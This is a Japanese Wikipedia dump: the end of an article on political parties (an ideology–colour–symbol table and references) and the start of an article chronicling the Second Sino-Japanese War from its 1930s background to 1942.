| {{ubl|{{Color box|#FFFFFF |border=darkgray}} 白|{{Color box|#FFD700 |border=darkgray}} 金|{{Color box|#9932CC |border=darkgray}} 紫}}
| [[王冠]]
| [[File:Emblem of the Rexist Party.svg|link=Rexist Party|60x60px]] [[File:FUNCINPEC logo.png|link=FUNCINPEC|60x60px]]
| <ref name=enninful12/><ref>{{cite news |url=https://www.townandcountrymag.com/style/fashion-trends/a35269653/why-color-purple-biden-inauguration/ |title=The Deep Meaning of the Color Purple at the Biden Inauguration |work=Town & Country Magazine |first=Jessica |last=Iredale |date=20 January 2021 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.peoplesworld.org/article/rnc-2020-and-the-symbols-of-history-crowns-hornets-and-boiler-plugs/ |title=RNC 2020 and the symbols of history: Crowns, Hornets, and Boiler Plugs |work=People's World |first=Lorri |last=Nandrea |date=18 February 2020 |access-date=24 January 2021}}</ref>
|-
| [[平和主義]]
| {{ubl|{{Color box|#FFFFFF |border=darkgray}} 白}}
| {{ubl|[[白旗]]|[[鳩]]|[[ピースマーク]]|[[白いポピー]]|[[Vサイン]]}}
| [[File:Pacifistisch Socialistische Partij logo.svg|link=Pacifist Socialist Party|60x60px]] [[File:EDA logo.svg|link=United Democratic Left|60x60px]]
| <ref name=enninful12/><ref>{{cite web |url=https://www.thehistorypress.co.uk/articles/peace-symbols-through-history/ |title=Peace symbols through history |publisher=[[The History Press]] |access-date=24 January 2021}}</ref>
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| [[社会民主主義]]
| {{ubl|{{Color box|#F50E0E |border=darkgray}} 赤}}
| {{ubl|握手|赤いバラ|拳}}
| [[File:Socialdemokratiet symbol (2014–present).svg|link=Social Democrats (Denmark)|60x60px]] [[File:Logo e Lëvizjes Socialiste për Integrim.svg|link=Socialist Movement for Integration|60x60px]] [[File:CSSD Logo Alt.svg|link=Czech Social Democratic Party|60x60px]]
| <ref>{{Cite book|title=Color Design Workbook: A Real World Guide to Using Color in Graphic Design|last1=Adams|first1=Sean|last2=Morioka|first2=Noreen|last3=Stone|first3=Terry Lee|date=2006|publisher=Rockport Publishers|isbn=159253192X|location=Gloucester, Mass.|pages=[https://archive.org/details/colordesignworkb0000ston/page/86 86]|oclc=60393965|url=https://archive.org/details/colordesignworkb0000ston/page/86}}</ref><ref>{{Cite journal|last1=Kumar|first1=Rohit Vishal|last2=Joshi|first2=Radhika|date=October–December 2006|title=Colour, Colour Everywhere: In Marketing Too|journal=SCMS Journal of Indian Management|volume=3|issue=4|pages=40–46|issn=0973-3167|ssrn=969272}}</ref><ref>{{cite news |url=https://jacobinmag.com/2020/12/denmark-democratic-ownership-finance-act-social-democrats-red-green-alliance |title=Denmark's "Democratic Ownership" Agenda Shows We Can Run Our Own Lives |work=Jacobin |first=Poyâ |last=Pâkzâd |date=December 2020 |access-date=24 January 2021}}</ref><ref name=korff92/>
|-
| [[社会主義]]
| {{ubl|{{Color box|#F50E0E |border=darkgray}} 赤}}
| 赤いバラ
| [[File:Emblem of the Socialist Party of Chile.svg|link=Socialist Party of Chile|60x60px]] [[File:Partia Socialiste.svg|link=Socialist Party of Albania|60x60px]] [[File:Bandera - Frente Farabundo Martí para la Liberación Nacional.svg|link=Farabundo Martí National Liberation Front|60x60px]]
| <ref name=klein18>{{cite web |url=https://www.goethe.de/en/kul/ges/eu2/kar/21254970.html |title=Interview with Gerd Koenen: The Fading of a Political Colour |publisher=[[Goethe-Institut]] |first=Sarah |last=Klein |date=April 2018 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://ambito-juridico.jusbrasil.com.br/noticias/192209688/uso-de-cores-de-partido-em-predios-publicos-gera-condenacao-por-improbidade |title=Uso de cores de partido em prédios públicos gera condenação por improbidade |language=pt |work=Jusbrasil |year=2015 |access-date=24 January 2021}}</ref><ref>{{Cite web|url=https://www.histecon.magd.cam.ac.uk/coins_August2017.html|title=Coins of the Month -- The symbols of the French socialists from the nineteenth century to today|last=Einaudi|first=Luca|date=August 2017|website=www.histecon.magd.cam.ac.uk|publisher=Joint Centre for History and Economics, University of Cambridge|access-date=2019-05-26}}</ref><ref>{{cite news |url=https://www.tiemporeal.com.pe/farc-frente-amplio-partido-socialista-argentino/ |title=¿Coincidencia? ¿Por qué estos 3 logos de partidos de izquierda son tan parecidos? |language=es |work=Tiempo Real |date=20 September 2017 |access-date=24 January 2021}}</ref><ref name=korff92/>
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|}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{notelist}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
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* {{Cite journal|和書 |title=名誉の政治学:バークの政党論を手がかりに |author=苅谷千尋 |date=2006-10 |url=https://doi.org/10.34382/00004728 |journal=政策科学= 政策科学 |publisher=立命館大学政策科学会 |ISSN=0919-4851 |volume=14 |issue=1 |pages=27-41 |doi=10.34382/00004728 |hdl=10367/4167 |naid=120005199080 |ref={{harvid|苅谷千尋|2006}}}}
* {{Cite book|和書|author=粕谷祐子 |year=2014 |title=比較政治学 |publisher=ミネルヴァ書房 |NCID=BB16686750 |ISBN=9784623071449 |id={{全国書誌番号|22472538}} |url=https://iss.ndl.go.jp/books/R100000002-I025766360-00 |ref={{harvid|比較政治学}}}}
* {{Cite book|和書|author=加藤秀治郎|year=2011 |title=政治学入門 |publisher=芦書房 |edition=第3版 |NCID=BB05863912 |ISBN=9784755612398 |id={{全国書誌番号|22001277}} |url=https://iss.ndl.go.jp/books/R100000002-I000011201500-00 |ref={{harvid|政治学入門}}}}
* [[加藤一彦]]『政党の憲法理論』有信堂、2003年。
== 関連項目 ==
{{Wiktionary}}
* [[代表民主制]]
* [[連立政権]]
* [[日本の政党]]/[[日本の政党一覧]]/[[アフリカの政党]]
* [[無所属]]/[[後援会]]/[[勝手連]]
* [[院内会派]]/[[派閥]]/[[政党連合]]
* [[国民政党]]/[[階級政党]]/[[包括政党]]/[[宗教政党]]/[[地域政党]]/[[ミニ政党]]
* [[マニフェスト]]/[[ゲリマンダー]]/[[数の論理]]/[[組織票]]/[[デュヴェルジェの法則]]/[[泡沫候補]]/[[無党派]]
* [[執行部]]/[[中央委員会]]/[[トロイカ体制]]
* [[立法府の一覧]](各国・地域の主要な政党の一覧を兼ねる)
== 外部リンク ==
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[[Category:政治]]
[[Category:政党|*]] | 2003-04-14T20:45:21Z | 2023-10-25T15:16:02Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%94%BF%E5%85%9A |
6,748 | 日中戦争 | 日中戦争()は、1937年(昭和12年)7月7日から1945年(昭和20年)8月15日まで、大日本帝国と蔣介石率いる中華民国国民政府の間で行われた戦争である。支那事変(しなじへん)、日華事変(にっかじへん)、日支事変(にっしじへん)とも呼ばれる。
日本側では、紛争が勃発した当初は北支事変(ほくしじへん)と称し、戦線が拡大していくと、日華事変(にっかじへん)や日支事変(にっしじへん)と呼ぶようになった。
日本政府は、1937年(昭和12年)9月の第1次近衛内閣(近衛文麿首相)の閣議決定で支那事変を正式の呼称とした。
戦争でなく事変と称されたのは、盧溝橋事件後に本格的な戦闘が行われても、1941年(昭和16年)12月に第二次世界大戦(大東亜戦争/太平洋戦争)が日英米蘭との間で勃発するまで、両国は宣戦布告を行わなかったからである。その理由として、日中両国がアメリカの中立法の発動による経済制裁を回避したかったことが挙げられる。
日本側は事態の早期収拾も狙っており、また、戦争ともなれば天皇の許可(勅許)が必要になるからであった。一方中国側は、国内での近代兵器の量産体制が整わないままであることから、開戦により軍需物資の輸入に問題が生ずる懸念があったことに加え、軍閥や毛沢東率いる中国共産党との内戦(国共内戦)の行方も不透明であったことから、中国国民党の蒋介石は「安内攘外(あんないじょうがい)」政策をとり、国内の統一(中国共産党との決着)を優先すべき問題と捉えていた。
第二次世界大戦(大東亜戦争/太平洋戦争)が開戦すると、蔣介石の重慶政府が英米蘭とともに日本に宣戦布告し、事変が戦争にエスカレートしたことを受け、日本側の東條内閣は10日の閣議で「今次ノ対米英戦争及今後情勢ノ推移ニ伴ヒ生起スルコトアルヘキ戦争ハ支那事変ヲモ含メ大東亜戦争ト呼称ス」ことを決定した。
日中戦争(支那事変)の期間の一般的な見解は1937年(昭和12年) - 1945年(昭和20年)までであるが、日本では歴史認識の違いによって「先の大戦」の呼称(大東亜戦争、十五年戦争、アジア・太平洋戦争など)が分かれており、日中戦争(支那事変)の位置づけには様々な解釈がある。臼井勝美は、「前史: 塘沽協定から盧溝橋事件まで、1933年6月 - 1937年7月」、「第一期: 盧溝橋事件から太平洋戦争勃発まで、1937年7月 - 1941年12月)」、「第二期: 太平洋戦争から敗北まで、1941年12月 - 1945年8月」の三期に区分している。小林英夫は、「前史 満洲事変から盧溝橋事件勃発前まで」、「第一期 盧溝橋事件から武漢作戦まで」、「第二期 武漢作戦から太平洋戦争勃発まで」、「第三期 太平洋戦争勃発から終戦まで」の四期に区分している。
中華人民共和国政府・中国共産党の公式な見解は、1935年の抗日人民宣言から始まり、1937年の盧溝橋事件(七七事変)からとされていたが、2017年1月中国教育省は中国の教科書で使われている「日本の侵略に対する中国人民の8年間の抗戦」という表現を、日中戦争(支那事変)の始まりを1931年の「柳条湖事件」まで6年遡らせて「14年間の抗戦」に改めると発表した。
1931年(昭和6年)9月18日の柳条湖事件に端を発する満洲事変は、1932年(昭和7年)3月1日の満洲国の樹立を経て、熱河作戦終結時の1933年(昭和8年)5月31日に締結された塘沽協定により一応終結した。同協定で、長城線以南に非武装地帯が設定され、大日本帝国は北支五省の独立自治運動の拠点を獲得し、満洲国は中華民国により黙認された。国民党は、汪兆銘の両国の関係改善の希望もあり、先ず共産党に対する囲剿戦に全力を傾け、国内を統一してから日本と戦う「安内攘外」を基本方針に採用した。広田弘毅外相は「和協外交」を提唱し、排日・排日貨運動も沈静化し、両国は公使館を大使館に昇格させた。
支那駐屯軍や関東軍など日本現地軍は、1935年(昭和10年)5月2日深夜の天津日本租界事件を契機に、河北省と察哈爾省から国民党の排除を図り、6月、所謂梅津・何応欽協定を締結し、藍衣社の北支からの撤退、河北省主席于学忠の罷免などを実現させた。国民政府は、「邦交敦睦令」を発し排日行為を禁止した。その後、現地日本軍は、二十九軍が日本人を拘禁した張北事件(中国語版)などを理由に、土肥原・秦徳純協定を締結し、察哈爾省東北部の二十九軍を河北省に移駐させることを了承させた。そして、旧軍閥で二十九軍長宋哲元 を中心に北支五省に独立政権を樹立させ、国民政府から分離させるため「北支自治運動」を展開した。11月25日、非武装地帯に殷汝耕を委員長とする冀東防共自治委員会を設立させ、宋哲元を中心にして「北支自治政権」を設立させて殷汝耕を合流させる計画を立てた。しかし、国民政府は、宋哲元を冀察綏靖主任兼河北省主席に任命し、12月18日に冀察政務委員会を設置し、自治独立運動の阻止に一応成功した。このため、12月25日、日本現地軍は、冀東の冀察への合流を放棄して冀東防共自治政府を成立させた。
1935年12月、中華民国では自治政権反対の一二・九運動を契機に「内戦停止、一致抗戦」の機運が拡大した。長征の途上にあった共産軍は、八・一宣言を出して「抗日救国」、「反蔣抗日」の統一戦線を呼び掛け、陝西省延安に根拠地建設を開始し、1936年(昭和11年)2月から3月、「抗日実践」を示すため、彭徳懐と林彪が指揮する共産軍2万が山西省に侵入した。共産軍は閻錫山の軍と蔣介石の増援により敗退し、周恩来と会談した張学良の説得により「反蔣抗日」から「逼蔣抗日」への転換を受け入れ、五・五通電を発し「停戰議和一致抗日」を訴えた。一方、4月18日、共産軍の侵攻を契機に廣田内閣(広田弘毅首相)は支那駐屯軍を増強した。
1936年(昭和11年)8月23日の成都事件と9月3日の北海事件を受け、大日本帝国外務省は、国民政府の対日態度の是正を要求し、9月8日から川越・張群会談が開始された。大日本帝国が防共協定の締結、日本人顧問の招聘などを要求し、国民政府が冀東防共自治政府の解消を要求したため、交渉は平行線を辿った。その後、9月19日に漢口、9月23日に上海で日本人が殺害され、11月上旬に内蒙古軍による綏遠事件も勃発し、12月3日に交渉は決裂した。12月12日の張学良らによる蔣介石監禁事件西安事件を経て、1937年(昭和12年)初頭には国共合作が事実上成立した。
1937年(昭和12年)2月2日、大日本帝国で廣田内閣から林内閣(林銑十郎首相)へ交替すると、佐藤尚武外相は、対中優越観念の放棄や中華民国への軍事的威嚇方針をやめ、平和交渉に移るよう外交方針を変更し、陸軍参謀本部戦争指導課長石原莞爾は、「華北分離工作」など従来の帝国主義的な侵寇政策の放棄を唱えた。4月16日に外務、大蔵、陸軍、海軍大臣四相により決定された対支実行策(第三次北支処理要綱)では、北支分治や中国内政を乱す政治工作は行わないとされ、日中防共軍事同盟の項目も削除された。一方で、関東軍は、対中高圧政策、「対支一撃論」を変更しなかった。5月3日、中華民国は、イギリスに財政基盤強化のための借款供与を要請し、イギリスは、大日本帝国にも参加を要請した。1937年(昭和12年)5月31日、林内閣は総辞職し、6月に近衛文麿内閣(第1次)が成立した。7月5日、川越茂駐中国大使は政府にイギリスからの借款供与提案を受諾するよう上申し、電報は盧溝橋事件前日の7月6日に届いた。
1937年(昭和12年)7月7日の盧溝橋事件から8月の第二次上海事変による全面戦争化までの猶予期間に起きた軍事衝突は北支事変と呼ばれた。
1937年(昭和12年)7月7日、当時北支に駐屯していた日本軍の北平(現:北京市)での夜間演習中に実弾が二度発射された。翌日午前5時30分、攻撃命令を受け、中国軍陣地に対し攻撃前進して行った。その後、中国国民党軍が衝突し、盧溝橋事件が勃発した。この日本軍が駐留していた豊台は、義和団の乱の事後処理を定めた北京議定書に定められた駐留可能地ではなく、法的根拠のない駐留だった。当時この地区の居留民保護のため駐留していた外国部隊は日本兵4,080、フランス兵1,839、米兵1,227、英兵999、イタリア兵384であり、日本人居留民は17,000人、米欧居留民は計10338人であった。 7月8日、蔣介石は日記に「倭寇の挑発に対して応戦すべき」と書き、7月9日に動員令を出し、四個師団と戦闘機を華北へ派遣した。7月19日までに北支周辺に30個師団、総兵力20万人を配備した。 7月11日、日中の現地軍同士で停戦協定が締結され(松井-秦徳純協定)、中華民国側は遺憾の意思を表明し、責任者を処分すること、盧溝橋付近には中国軍にかわって保安隊が駐留すること、事件は藍衣社、中国共産党など抗日団体が指導したとみられるため今後取り締る、という内容の停戦協定が締結された。事態収拾に向う動きが見えたことから内地師団の動員は一時見合わせとなった。
一方、同年7月11日午前の会議で第1次近衛内閣は関東軍独立混成第11旅団・独立混成第1旅団の二個旅団・朝鮮軍第20師団の北支派兵を発令、支那駐屯軍に編入される。近畿以西の全陸軍部隊の除隊延期も決定する。同日、重篤となった田代皖一郎支那駐屯軍司令官に代え、香月清司中将を新司令官に親補。また近衛内閣は現地解決、不拡大方針を閣議決定、さらに「北支派兵に関する政府声明」を発表し、事件を「北支事変」と名付け、今回の事件は中国側の計画的武力行使であり、大日本帝国はこれに対して自衛権を行使するために派兵(増員)するとした。7月13日に北平(北京)の大紅門で日本軍トラックが中国兵に爆破され日本兵4人が死亡する大紅門事件が発生。
中国共産党は7月15日に国共合作による全面抗戦を呼びかける。蔣介石も7月17日、廬山談話会において、中華民国は弱国であり戦争を求めてはならないが、やむをえない場合は徹底抗戦すると表明する。中華民国政府は7月19日、国民党の第29軍代表張自忠らが盧溝橋事件の停戦協定の細目実施を申し出、共産党の策動を徹底的に弾圧すること、排日職員を取り締ること、排日団体は撤去すること、排日運動、排日教育を取り締ることを日本に誓約する 一方で、盧溝橋事件に関する地域レベルでの決着は認めないと日本側に通告した。7月20日には中国軍第37師部隊は再び盧溝橋付近で日本軍に攻撃した。7月21日、蔣介石は南京戦争会議で「大日本帝国に対して武力行使を行う」という方針を採択した。7月23日、南京副幕僚長孫浜将軍が北京と保定の軍に対日戦闘を勧告した。
他方、7月22日から「中国当局は抗日雑誌等を禁止、藍衣社などを弾圧した」と日本政府に報告された。
中国軍は北平・天津の電線切断作戦を展開した。 1937年7月25日、郎坊駅で電線を修理した日本軍兵士が休憩しているところに中国軍が襲撃した(郎坊事件)。日本軍は修理した電線で天津の本部と連絡をとり、翌7月26日、日本軍戦闘機が中国人陣地を爆撃し、同地を日本軍が占領。日本帝国軍は宋哲元将軍に、「北平城から中国29路軍37師を撤退させることで誠意を見せてほしい。もし要請に応じなければ、日本帝国軍は大日本帝国にとって適切な行動をとる」と最後通告を行ったが、中国側は応じなかった。
翌7月26日に広安門居留民保護に駆けつけた日本陸軍兵士が広安門で中国軍より銃撃を受ける(広安門事件)。
7月27日、日本軍(支那駐屯軍)は総攻撃の実施を決定した。第1次近衛内閣は内地師団動員を下令。第5師団・第6師団・第10師団の動員派兵を決定。同日午後11時、南京政府は日本側へ、北支当局と日本軍守備隊の協定に関する交渉を日本へ申し出た。総攻撃を前にして住民を逃すため香月軍司令官の要請を受けてJ.O.スタヂオの技術者として支渡していた菱刈隆文が北平上空から20万枚の布告ビラを撒いた。
7月28日午前5時、日本軍支那駐屯軍、北支で攻撃を開始。中国軍は5000余人が戦死、撃滅され、同日夜、北平にいた宋哲元、秦徳純などは脱出した。
7月29日には、日本の同盟軍であった冀東防共自治政府保安隊(中国人部隊)が、抗日側に転じて、日本軍特務機関・日本人・朝鮮人居留民に対して虐殺を実施した通州事件が発生。同日同時刻に29路軍が天津の日本人租界を攻撃した。この通州事件は日本軍民に暴支膺懲の意識を強く植え付けることとなる。
7月31日、日本軍(支那駐屯軍)、北平・天津地区を制圧。 日本軍は7月末には北平・天津地方を制圧後、8月には河北省保定以北の制圧を実行に移そうとしたが、河北省南部に集結しつつある中国軍と衝突する恐れがあったため準備期間が必要となり一時延期され、代わりに行われた作戦が8月9日より関東軍が察哈爾省(現在の内モンゴル自治区)とその周辺へ攻略を開始した(チャハル作戦。後に10月17日に包頭を占領し、日本の傀儡政権蒙古連盟自治政府を樹立し、張家口に駐蒙軍を置いた。
1937年8月9日、上海の非武装地帯で日本軍上海海軍特別陸戦隊の大山勇夫海軍中尉が、報復として中国保安隊に襲撃され殺害された。30発以上の銃撃を受け、顔を潰され、胴体に穴があくなどしていた (大山事件)。中国側は当時非武装地帯には保安隊の制服を着た中国正規軍を投入しており、また1932年の休戦協定を無視してライフル、機関銃、カノン砲などを秘密裏に持ち込んでいた。翌8月10日、日本の上海領事は国際委員会で中国の平和維持隊の撤退を要求し、外国人委員はこれに賛成し、O.K.ユイ(兪鴻鈞)中国市長も全力をあげて解決すると述べたが、翌8月11日、O.K.ユイ中国市長は「私は無力で何もできない」と日本側へ通告した。 8月12日、中国軍部隊が上海まで前進して上海日本人租界区域を包囲し、、翌8月13日早朝には日本海軍陸戦隊へ攻撃をしかけた。午前9時20分、現地で包囲していた中国軍が機銃掃射攻撃を開始すると、日本軍陸戦隊は午後3時55分に応戦。中国軍はさらに午後5時頃爆破砲撃を開始した。
8月13日、第1次近衛内閣は閣議決定により上海への陸軍派遣を決定。また同8月13日にはイギリス、フランス、アメリカの総領事が日中両政府に日中両軍の撤退と多国籍軍による治安維持を伝えたが戦闘はすでに開始していた。
翌8月14日には中国空軍は日本の艦艇と上海租界への空爆を行った。日本軍艦の命中はなかったが、上海租界で外国人を含む千数百人の民間人死傷者が出た。
このような第二次上海事変の勃発により日中全面戦争に発展した。日本政府および軍部は上海への戦火波及はのぞんでいなかったとする見解もある。近衛内閣は8月15日、「もはや隠忍その限度に達し、支那軍の暴虐を膺懲し、南京政府の反省を促す」との声明を発表し、戦争目的は排日抗日運動の根絶と日本満洲支那三国の融和にあるとされ、上海派遣軍が編成された。一方、同8月15日に中華民国も全国総動員令を発し、大本営を設置して陸海空軍総司令に蔣介石が就任、戦時体制を確立し、さらに中国共産党も同8月15日に『抗日救国十大綱領』を発表し、中国全土での日中全面戦争となった。
その後、8月下旬、蔣介石は自軍が日本軍の前に敗走を重ねる原因を「日本軍に通じる漢奸」の存在によるものとして陳立夫を責任者として取締りの強化を指示し、「ソビエト連邦のゲーペーウー(GPU)による殺戮政治の如き」漢奸狩りを開始した。上海南市老西門広場では、毎日数十人が漢奸として処刑され、総数は4,000名に達し、中には政府官吏も300名以上含まれていた。罪状は井戸、茶壺や食糧に毒を混入するように買収されたということや毒を所持で、警察官によって裏切り者に対する警告のために処刑された者の首が晒しものとされた。戒厳令下であるため裁判は必要とされず、宣告を受けたものは直ちに公開処刑された。
同8月15日、日本海軍は渡洋爆撃を開始。15日より16日にかけて、海軍航空隊の96式陸攻38機が、南昌・南京・広徳・杭州を台南の新竹基地と長崎大村基地からの渡洋爆撃を行った。15日より30日にかけて、同軍のべ147機が済州島・台北から出撃。広徳・南昌・南京などを空襲。未帰還機14機、大破13機。
8月17日、日本政府は従来の不拡大方針を放棄し、戦時体制の準備を講ずると閣議決定した。
8月18日、イギリスは日中双方に対して双方の軍の撤退と、租界の日本人保護は外国当局に委任してくれれば責任をもって遂行すると通告、フランスもこれを支持した。しかし日本政府はすでに戦闘が開始しているためこれを丁重に辞退した。
8月20日日本海軍、漢口爆撃。 8月21日、中ソ不可侵条約が締結され、5年間はソ連は日本と不可侵条約を締結せず、また中国は第三国と防共協定を締結しないという約束がなされ、まずは戦闘機50機の空輸が上申された。8月22日には西北地域の共産党軍(紅軍)を国民革命軍第8路軍に改編、総兵力は32000。
8月23日、日本陸軍が上海上陸開始。しかし中国軍の抵抗が激しく、一日100mほどしか前進できなかった。
南京駐在英国大使ヒュー・ナッチブル=ヒューゲッセン(英語版)が銃撃を受けて重症を負い、同行の大使館職員が日本海軍機の機銃掃射によるものであると主張したが、日本海軍が自軍による機銃掃射を否定したため、イギリスの対日感情が悪化し、約一か月後に解決した。
ニューヨーク・タイムズの1937年8月30日付記事では「北京での戦闘の責任については見解がわかれるかもしれないが、上海での戦闘に関する限り事実はひとつしかない。日本軍は戦闘拡大を望まず、事態悪化を防ぐためにできる限り全てのことをした。中国軍によって衝突へと無理矢理追い込まれてしまった」と報道した。
1937年8月31日に日本陸軍支那駐屯軍は廃止され、北支那方面軍・第1軍・第2軍へと編成される。
1937年9月28日 - 国際連盟の日中紛争諮問委員会、総会で日本軍による中国の都市への空爆に対する非難決議を満場一致で採択。8月15日から9月25日までの合計11次に及ぶ日本軍による「無差別攻撃」は同年4月26日のゲルニカ爆撃と並んで、世界航空戦史未曾有の大空襲だとされた。
他方、1937年10月、ローマ法王ピオ11世(在位:1922-39)は全世界のカトリック教徒に対して日本軍への協力を呼びかけ、「日本の行動は、侵略ではない。日本は中国(支那)を守ろうとしているのである。日本は共産主義を排除するために戦っている。共産主義が存在する限り、全世界のカトリック教会、信徒は、遠慮なく日本軍に協力せよ」と声明を出した(バチカン・シチー特電 昭和12年10月14日 発。『東京朝日新聞』夕刊、昭和12年10月16日)。。東京朝日新聞は「これこそは、わが国の対支那政策の根本を諒解するものであり、知己の言葉として、百万の援兵にも比すべきである。英米諸国における認識不足の反日論を相殺して、なお余りあるというべきである」と評価した
上海攻略後、日本は和平工作を開始し(トラウトマン工作)、1937年11月2日にヘルベルト・フォン・ディルクセン駐日ドイツ大使に内蒙古自治政府の樹立、華北に非武装中立地帯(冀東防共自治政府があった場所)、上海に非武装中立地帯を設置し、国際警察による共同管理、共同防共などを提示し、「直ちに和平が成立する場合は華北の全行政権は南京政府に委ねる」が記載されている和平条件は11月5日にオスカー・トラウトマン駐華ドイツ大使に示され、「戦争が継続すれば条件は加重される」と警告したにも関わらず蔣介石はこれを受理しなかった。蔣介石が受理しなかったのは11月3日から開かれていたブリュッセルでの九カ国条約会議で中国に有利な調停を期待していたためとされるが、九カ国条約会議は日本非難声明にとどまった。その後、トラウトマン大使は蔣介石へ「日本の条件は必ずしも過酷のものではない」と説得し、12月2日の軍事会議では「ただこれだけの条件であれば戦争する理由がない」という意見が多かったこともあり、蔣介石は日本案を受け入れる用意があるとトラウトマン大使に語り、これは12月7日に日本へ伝えられた。その後、日本は南京攻略の戦況を背景に要求を増やし、賠償や永久駐留や傀儡化を含む厳しい条件にした。結果、日中和平交渉は決裂した。
4月、中国広西軍は山東省台児荘で日本軍部隊5000兵力を包囲し、壊滅させ、中国の民衆は非常に喜んだ。日本軍は中国軍主力が徐州に集中していると判断し、1938年4月7日 - 大本営、北支那方面軍・中支那派遣軍に協力して徐州を攻略するよう(徐州会戦)下命した。5月10日、日本軍、廈門を占領。5月15日、中国軍は徐州を放棄し逃走したので中国軍兵力の殲滅には失敗することとなった。5月19日 - 日本軍(北支那方面軍・中支那派遣軍)、徐州占領。
1938年6月、蔣介石ら中国軍による黄河決壊事件により河南、江蘇省、安徽省の3000平方キロメートルの土地が水没し、民間人の被害は数十万人となった。日本は6月15日、御前会議で漢口・広東攻略を決定した。1938年7月4日、中支那派遣軍に第2軍、第11軍が編入され、武漢攻略作戦の態勢がとられた。7月11日〜8月10日の日ソ武力衝突張鼓峰事件が解決したのち、8月22日から日本軍、武漢三鎮を攻略開始する(武漢作戦)。10月12日、第2軍が信陽を占領。
広東攻略を命じられた第21軍(兵力7万)は1938年10月9日、台湾を出発、10月12日にバイアス湾上陸し、10月21日に広東を占領、日本軍の損失は戦死173、戦傷493だった。
12月6日決定の「昭和十三年秋季以降対支処理方策」では占拠地拡大を企図せず、占拠した地域を安定確保の「治安地域」と、抗日殲滅地域の「作戦地域」に区分した。12月16日、中国政策のための国策会社興亜院が成立する。
12月18日には蔣介石との路線対立で汪兆銘が重慶を脱出し、昆明、ハノイに向かう。12月22日、近衛首相が近衛三原則を発表(第三次近衛声明)。日華協議記録と類似した内容であった。12月25日、汪兆銘は日本の講和条件は亡国的なものではないと駐英大使につたえる一方、蔣介石は12月26日に近衛声明を批判し、また汪兆銘のハノイ行きは療養目的と公表した。しかし、汪兆銘は12月30日の香港『南華日報』に、近衛声明にもとづき日本と和平交渉に入ると発表した。1939年1月1日、国民党は汪兆銘の党籍を永久に剥奪した。1939年3月21日に汪兆銘は暗殺されようとするが、曽仲鳴が代わりに殺害された。
1939年(昭和14年)1月4日、近衛内閣、総辞職。平沼内閣となる。
1939年の作戦としては1月からの重慶爆撃、2月10日の海南島上陸、3月の海州など江蘇省の要所占領、3月27日の南昌攻略などがあったが、戦争は長期化の様相を呈し、泥沼化していった。阿部信行大将も講演で昨年1938年暮れより1939年夏まで「戦さらしい戦さはない」「ただ平らであるが如く、斜めであるが如く、坂道をずるずる引摺られ上って行かなければならぬ」と述べた。
5月3日 (中攻45機)と4日 (中攻27機)に海軍航空隊が焼夷弾爆撃を実施した。重慶防空司令部の調査によると両日で焼死者3991名、負傷者2323名、損壊建物846棟に達し、英大使館、仏領事館、外国教会にも被害が及んだ。
6月14日に日本軍は天津のイギリス租界を封鎖するが、これは4月に発生した臨時政府要人暗殺テロ犯人の引き渡しを租界当局が拒否したからであった。日本とイギリスは7月15日から有田・クレーギー会談を実施、イギリス側は中国における現実の事態を完全に承認し、日本軍が治安維持のために特殊な要求を有することを承認するとした。ただし、これはイギリスの対中政策の変更を意味するものではないとされた。
イギリスが日本に一歩後退したのに対してアメリカ合衆国は7月26日、日米通商航海条約の廃棄を突然、日本に通告し、日本側は衝撃をうけた。11月にはグルー駐日アメリカ大使との会談がはじまるが、12月22日、アメリカは中国で日本軍が為替、通貨、貿易など全面的な制限を行っている以上、協定の締結は不可能として拒絶した。
1939年5月汪兆銘は来日し、1939年6月に平沼内閣は中国新政府樹立方針、汪工作指導要綱を発表、前年11月30日の日支新関係調整方針を和平条件とした。その後、汪兆銘は中国の各地方政府を周り、意向を打診、11月1日、上海で日本と交渉するが、日本の蒙疆、華北に防共駐屯、南京、上海、杭州にも駐屯、揚子江沿岸特定地点にも艦船部隊駐屯提案に対して汪側は太原〜石家荘〜滄州のライン以北に限定するよう日本側に大きく譲歩した上で要求するが、日本側は山東省を加えるよう要求した。12月30日、日華新関係調整要綱が成立。
1940年(昭和15年)1月、阿部内閣から米内内閣に変わった。 1月6日、汪兆銘の腹心高宗武らが上海を脱出し、香港で日本の講和条件を暴露し、汪兆銘は傀儡と訴えた。これによって蔣介石の支持層が拡大した。
1940年5月・6月のドイツ軍による西ヨーロッパの席捲を進撃を背景に日本政府は6月24日、英仏にビルマルートおよび香港経由による援蔣行為の停止を要求した。
5月18日より、日本軍、漢口、運城基地から重慶、成都を空襲する一〇一号作戦が10月26日まで実施された。6月12日には宜昌占領。6月24日から6月29日までは連続して猛爆が行われた 。
7月18日、英国、日本の要求に応じ援蔣ルート(ビルマルート)を閉鎖。 7月26日、基本国策要綱で「皇国の国是は八紘を一宇とする肇国の大精神」が唱えられた。7月27日の大本営では南方問題解決のため武力を用いることが決定された。8月1日、松岡外相は日本満洲シナを一環とする大東亜共栄圏確立という外交方針を発表した。
1941年4月中旬より、重慶工作の道がないため、日米交渉が開始された。日本は三国同盟3条の日本に参戦義務についてと、アメリカ仲介による日中戦争(支那事変)の解決を要望したが、アメリカは門戸開放、機会均等の無条件適用を提示した。
6月22日、独ソ戦がはじまると、松岡外相は即時対ソ参戦を上奏したが、7月2日の御前会議は独ソ戦不介入を決定、南方進出を強化し、対英米戦を辞せずと決定した。7月7日 - 関東軍特種演習(関東軍、対ソ戦を準備するが8月に断念)。7月10日、アメリカ対案に対して外務省顧問斉藤良衛は、南京政府の取り消し、満洲の中国への返還、日本軍の無条件撤兵などを意味していると解釈、松岡外相もこれに賛同した。7月28日、日本軍、南部仏印進駐を実施、英米は日本資産を凍結した。8月1日 - 米国、対日輸出を大幅に制限。
1942年(昭和17年)1月1日、蔣介石は日本は一時の興奮を得るが、結局は自滅すると語った。
日本軍、4月19日に鄭州を占領、5月25日には 洛陽を占領。京漢作戦が成功。
中国国民革命軍・中国共産党軍軍装・装備・兵力
日中戦争(支那事変)期間中に国民政府が徴発した兵士の総数は約1405万人である。動員を可能にすべく1936年から開始された義務兵役制度は、容易に軌道に乗ることはなく、当初は、名は徴兵であるが、実際は募兵と拉致であったとされる。拉致被害者で目立つのは、他地域の住民や旅行中の行商人、糧食などの運搬労働者であり、博徒や乞食なども含まれていた。
